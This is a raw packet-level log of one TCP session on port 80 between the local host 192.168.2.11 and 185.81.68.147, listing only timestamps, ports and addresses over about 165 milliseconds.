Dec 13, 2024 08:18:56.291743040 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.291754961 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.291793108 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.292762995 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.292833090 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.292900085 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.293945074 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.294028997 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.294059992 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.295140982 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.295301914 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.295335054 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.296339035 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.296441078 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.296504021 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.297574997 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.297730923 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.297801018 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.298926115 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.298939943 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.298979044 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.299909115 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.300010920 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.300049067 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.301112890 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.301140070 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.301208019 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.302292109 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.302385092 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.302422047 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.303503990 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.303615093 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.303646088 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.304701090 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.305114985 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.305198908 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.305881977 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.305988073 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.306047916 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.307198048 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.307210922 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.307251930 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.308283091 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.308346033 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.308383942 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.309484959 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.309523106 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.309556961 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.310678959 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.310784101 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.310848951 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.311944962 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.311995983 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.312040091 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.313075066 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.313210964 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.313249111 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.314434052 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.314450026 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.314532042 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.315465927 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.315610886 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.315654993 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.316667080 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.316742897 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.316790104 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.317858934 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.318006992 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.318072081 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.319014072 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.319134951 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.319195986 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.320195913 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.320297003 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.320338964 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.321393967 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.321511030 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.321551085 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.322738886 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.322752953 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.322818995 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.323798895 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.323939085 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.323985100 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.325160980 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.325174093 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.325210094 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.326222897 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.326328993 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.326370955 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.327364922 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.327434063 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.327533007 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.328561068 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.328684092 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.328727961 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.329821110 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.329833984 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.329871893 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.330949068 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.331058979 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.331135035 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.332288027 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.332300901 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.332340956 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.333472013 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.333539963 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.333575010 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.334625006 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.334664106 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.334700108 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.335762024 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.335839033 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.335920095 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.337013960 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.337104082 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.337148905 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.338119984 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.338232994 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.338269949 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.339364052 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.339633942 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.339709044 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.340646982 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.340658903 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.340734005 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.341840029 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.341873884 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.341907024 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.342894077 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.342962980 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.343189001 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.344098091 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.344121933 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.344192982 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.345411062 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.345498085 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.345562935 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.346528053 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.346647978 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.346688032 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.347678900 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.347799063 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.347836971 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.348882914 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.348927975 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.348968983 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.350071907 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.350137949 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.350208998 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.351263046 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.351486921 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.351536989 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.352464914 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.352579117 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.352623940 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.353707075 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.353933096 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.354001999 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.354832888 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.354940891 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.355015993 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.356057882 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.356179953 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.356223106 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.357225895 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.357342958 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.357377052 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.358441114 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.358566046 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.358596087 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.359616995 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.359719038 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.359778881 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.360800982 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.360889912 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.360955000 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.361999989 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.362112045 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.362175941 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.363229990 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.363348007 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.363408089 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.364408970 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.364572048 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.364612103 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.365580082 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.365624905 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.365662098 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.366859913 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.366972923 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.367010117 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.367952108 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.368073940 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.368107080 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.369168043 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.369244099 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.369277954 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.370357037 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.370476007 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.370511055 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.371541023 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.371633053 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.371670008 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.372742891 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.372870922 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.372917891 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.373960018 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.374001980 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.374036074 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.375169992 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.375252962 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.375324965 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.376328945 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.376449108 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.376482010 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.377564907 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.377748013 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.377800941 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.378703117 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.378781080 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.378813982 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.379914045 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.380022049 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.380065918 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.381181955 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.381283045 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.381325960 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.382294893 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.382356882 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.382395029 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.383524895 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.383546114 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.383621931 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.384766102 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.384887934 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.384949923 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.385914087 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.386030912 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.386075020 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.387058973 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.387178898 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.387213945 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.388298035 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.388376951 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.388420105 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.389482975 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.389571905 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.389616013 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.390857935 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.390966892 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.391010046 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.391870975 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.392124891 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.392169952 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.393064022 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.393172979 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.393217087 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.394267082 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.394455910 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.394495964 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.395422935 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.395561934 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.395606041 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.396644115 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.396717072 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.396764040 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.397836924 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.397934914 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.397979021 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.399085999 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.399216890 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.399260044 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.400230885 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.400319099 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.400361061 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.401408911 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.401536942 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.401573896 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.402637005 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.402719975 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.402756929 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.403815985 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.403908014 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.403949022 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.404968023 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.405081034 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.405122042 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.406167030 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.406215906 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.406366110 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.407366037 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.407480955 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.407540083 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.408569098 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.408680916 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.408740044 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.409940958 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.409955025 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.410015106 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.410964012 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.411022902 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.411071062 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.412143946 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.412309885 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.412350893 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.413327932 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.413450956 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.413496971 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.414568901 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.414726019 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.414786100 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.415728092 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.415862083 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.415905952 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.416970968 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.417067051 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.417114973 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.418119907 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.418168068 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.418215036 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.419542074 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.419555902 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.419615984 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.420526028 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.420646906 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.420690060 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.423008919 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.454304934 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.454324961 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.454377890 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.454387903 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.454428911 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.454473972 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.454793930 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.454952002 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.455014944 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.455873966 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.456022978 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.456084013 CET	49726	80	192.168.2.11	185.81.68.147
